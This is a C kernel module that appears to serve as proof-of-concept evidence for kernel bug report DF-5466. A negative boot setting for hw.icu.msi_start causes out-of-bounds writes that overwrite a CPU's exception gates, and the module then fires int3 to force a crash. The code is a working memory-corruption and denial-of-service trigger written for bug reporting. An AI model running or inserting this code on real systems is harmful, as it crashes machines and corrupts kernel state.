DF-5466 / icu_msi_start.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 | /* * DF-5466 evidence (boot-config driven): 'hw.icu.msi_start="-32"' in * /boot/loader.conf makes icu_abi_initmap() (icu_abi.c:319-324, * called unconditionally for every kernel at * sys/platform/pc64/x86_64/machdep.c:2785) compute * icu_abi_msi_start = -32 & ~0x1f = -32 * (kgetenv_int -> kgetenv_quad -> strtoq parses the '-' sign, * sys/kern/kern_environment.c:379-388). * * The very next ICU MSI allocation then runs the scan loop * (icu_abi.c:473) with i = -32 and, on any cpu > 0, finds a fully * "free" window: icu_irqmaps[cpuid][-32 .. -1] IS the previous row's * tail icu_irqmaps[cpuid-1][160..191] (all ICU_IMT_UNUSED): * - OOB read icu_abi.c:476/:480 * - OOB write icu_abi.c:495-496 (im_type/im_msi_base into the * previous cpu's row) * - intrs[j] = -32+j icu_abi.c:498 * - msi_setup(-32+j, cpuid) icu_abi.c:499 -> * msi_intr[-32..-1] OOB read (msi.c:433, table is 192 entries in * .rodata @ 0xffffffff80d9d800) AND * setidt(0x20 + (-32+j) = 0..31, garbage, cpu) -> * OVERWRITES CPU cpuid's EXCEPTION GATES 0..31 (#DE #PF #GP ...) * with .rodata-derived garbage function pointers. * The module then pins itself to cpu 1 and executes 'int $3' so the * smashed gate #3 is exercised immediately (deterministic crash). * * If the allocation is rejected/clamped (fixed kernel), zone[0] stays * positive and the int3 is skipped. * * NOTE: no INVARIANTS KASSERT guards this path -- INVARIANTS kernels * are equally affected (unlike DF-5464/DF-5465). */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/machintr.h> #include <sys/thread2.h> extern struct machintr_abi MachIntrABI_ICU; static int zone[32]; static void smash_gate(void __unused *arg) { /* * Pin to cpu1 (whose gates 0..31 were just smashed by * msi_setup(-32..-1, 1)) and take an int3 -> #BP vector 3 -> * garbage RIP from msi_intr[-29] (rodata) -> crash. */ lwkt_migratecpu(1); kprintf("icu_msi_start: on cpu%d, triggering int3 (gate 3 was " "smashed if zone[0] < 0)\n", mycpuid); __asm__ volatile("int $0x3"); kprintf("icu_msi_start: int3 returned (gate NOT smashed?)\n"); } static int icu_msistart_modevent(module_t mod __unused, int type, void *data __unused) { int i, rc; switch (type) { case MOD_LOAD: for (i = 0; i < 32; ++i) zone[i] = 0x7B7B7B7B; kprintf("icu_msi_start: hw.icu.msi_start was set to -32 via " "/boot/loader.conf; calling ICU msi_alloc(zone, 32, " "cpu1): scan starts at i=-32\n"); rc = MachIntrABI_ICU.msi_alloc(zone, 32, 1); kprintf("icu_msi_start: rc=%d zone[0]=%d zone[31]=%d\n", rc, zone[0], zone[31]); if (rc != 0 || zone[0] >= 0) { kprintf("icu_msi_start: allocation not OOB (fixed or " "clamped kernel?) -- no gate smash, exiting " "cleanly\n"); return 0; } kprintf("icu_msi_start: NEGATIVE vectors allocated " "(zone[0]=%d): OOB writes done, exception gates 0..31 " "of cpu1 smashed with msi_intr[-k] rodata " "garbage\n", zone[0]); /* * The gates are already smashed; any exception on cpu1 * jumps to garbage. Force it deterministically. */ smash_gate(NULL); kprintf("icu_msi_start: SURVIVED (unexpected)\n"); return 0; case MOD_UNLOAD: return 0; default: return EOPNOTSUPP; } } static moduledata_t icu_msi_start_mod = { "icu_msi_start", icu_msistart_modevent, NULL }; DECLARE_MODULE(icu_msi_start, icu_msi_start_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); MODULE_VERSION(icu_msi_start, 1); |